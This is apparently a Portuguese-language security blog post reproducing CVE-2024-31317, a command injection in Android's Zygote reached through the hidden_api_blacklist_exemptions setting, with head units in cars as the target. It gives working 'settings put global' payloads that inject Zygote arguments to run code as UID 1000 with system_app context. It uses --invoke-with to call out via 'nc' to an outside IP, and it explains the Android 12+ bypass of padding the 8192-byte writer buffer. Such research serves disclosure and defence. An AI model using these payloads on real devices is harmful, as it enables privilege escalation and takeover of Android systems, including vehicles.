
CVE-2024-31317
Há alguns dias, vi uma análise da vulnerabilidade CVE-2024-31317 publicada na conta oficial da JD. Depois de ler tudo, achei bastante interessante, e como as principais soluções atuais para head units automotivas são todas baseadas em Android e estão dentro do escopo limitado dessa vulnerabilidade, comecei a reproduzi-la.
Como se trata de uma elevação de privilégio no espaço do usuário, é necessário primeiro obter a permissão do usuário correspondente. Portanto, no cenário de veículos conectados, existem algumas limitações: a prática atual predominante é restringir APKs Android com assinatura desconhecida e impedir o acesso direto ao modo de engenharia e ao ADB. Mas, combinada com outras vulnerabilidades ou técnicas, ainda é bastante viável, afinal, o System consegue fazer muitas coisas. Outro ponto a ser observado é que essa vulnerabilidade exige a permissão WRITE_SECURE_SETTINGS; por padrão, o ADB já possui essa permissão, o que torna bem conveniente usá-la para elevação de privilégio depois de obter o modo de engenharia. Se não for possível usar o ADB diretamente, será necessário combiná-la com outras vulnerabilidades para obtê-la.
A vulnerabilidade é um caso de injeção de comandos e a análise geral não é difícil, mas antes de analisá-la é preciso entender o Zygote. O Zygote roda como um processo daemon e pode criar processos de aplicativos por meio de fork, aceitando comandos via socket UNIX em /dev/socket/zygote. Cada comando começa com um número decimal, seguido pela quantidade de argumentos correspondente a esse número.
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
Observando o diff do patch, é possível ver que a alteração adiciona um comentário de quebra de linha, o que comprova indiretamente que, em versões mais antigas, podemos usar quebras de linha para injeção de comandos e iniciar novos processos.
Continuando a rastrear as chamadas dessa função para cima, é possível ver que, desde a leitura inicial do valor de HIDDEN_API_BLACKLIST_EXEMPTIONS até toda a transmissão posterior, não há nenhuma operação de filtragem. Ou seja, podemos injetar diretamente qualquer parâmetro.
Então, naturalmente, podemos pensar que, se tivermos alguma forma de controlar o valor de HIDDEN_API_BLACKLIST_EXEMPTIONS, poderemos injetar nossos parâmetros personalizados. Como mencionado antes, para definir esse valor precisamos da permissão WRITE_SECURE_SETTINGS. O ADB já possui essa permissão por padrão; basta executar settings put global hidden_api_blacklist_exemptions command usando o comando settings nativo do sistema. Assim, podemos tentar injetar um novo processo de forma semelhante à seguinte:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
Mas parece que isso não atende às nossas necessidades — ainda não é possível executar comandos. Após análise, descobriu-se que o parâmetro invokeWith permite a execução de comandos.
A partir daí, fica bem simples: basta construir um comando semelhante ao seguinte:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Nesse momento, veremos que não é possível acionar com sucesso; ao verificar o logcat, veremos a seguinte mensagem, indicando que é necessário o modo debug. Então, como fazemos para colocá-lo em debug?
Continuando a consultar o código, vemos que existe o parâmetro runtime-flags na inicialização, usado para configurar as propriedades de debug.
Os parâmetros configuráveis são os seguintes:
Portanto, basta adicionar esse parâmetro na inicialização e ativar todas as propriedades de debug. O comando modificado fica assim:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Após a execução, o nc capturou com sucesso a solicitação de rede.

No Android 11 e versões anteriores, o método acima pode ser usado para uma exploração simples, mas a partir do Android 12 o Google implementou um parser de comandos em C++ de caminho rápido para reforçar o parser de comandos Java do Zygote, usando a nova classe NativeCommandBuffer para realizar essa tarefa. Após analisar toda a linha de comandos, o NativeCommandBuffer descarta todo o conteúdo subsequente e lê novamente o próximo comando do socket. Ou seja, quando injetamos dois comandos via injeção, ele descarta o conteúdo que injetamos, fazendo com que a injeção não ocorra. Então, precisamos de um método para contornar a primeira chamada a read(). Aqui, seguimos principalmente a abordagem do autor original: inserir uma grande quantidade de vírgulas no final, fazendo com que maybeSetApiDenylistExemptions() gaste bastante tempo em loops após a escrita, a fim de aumentar o intervalo de tempo entre as operações. A lógica principal aqui é que maybeSetApiDenylistExemptions() chama state.mZygoteOutputWriter.write() várias vezes, mas essas chamadas não são mapeadas diretamente para gravações no socket, porque mZygoteOutputWriter herda de BufferedWriter, que agrega os dados em seu buffer interno antes de gravar no transporte subjacente. Esse mecanismo oferece uma forma pronta de emitir duas gravações no socket com um atraso adequado entre elas.
O tamanho do buffer do BufferedWriter é de 8192 bytes, muito menor que o buffer do Zygote. Aqui, basta preenchê-lo com 8192 bytes antes de inserir o comando malicioso injetado, forçando o BufferedWriter a gravar esses dados primeiro.
Na verdade, este artigo já deveria ter sido escrito há muito tempo, mas fiquei ocupado e acabei esquecendo 😷. Além disso, durante o exercício Zhuwang, usei essa vulnerabilidade para ganhar vários pontos facilmente. Recentemente, em um projeto de teste que envolvia exatamente uma head unit Android, lembrei-me deste blog pela metade e tratei de registrar tudo rapidamente enquanto ainda consigo lembrar de algumas coisas. Além disso, sou muito grato pela ajuda do especialista flanker durante a reprodução dessa vulnerabilidade, que me ajudou a evitar muitas armadilhas.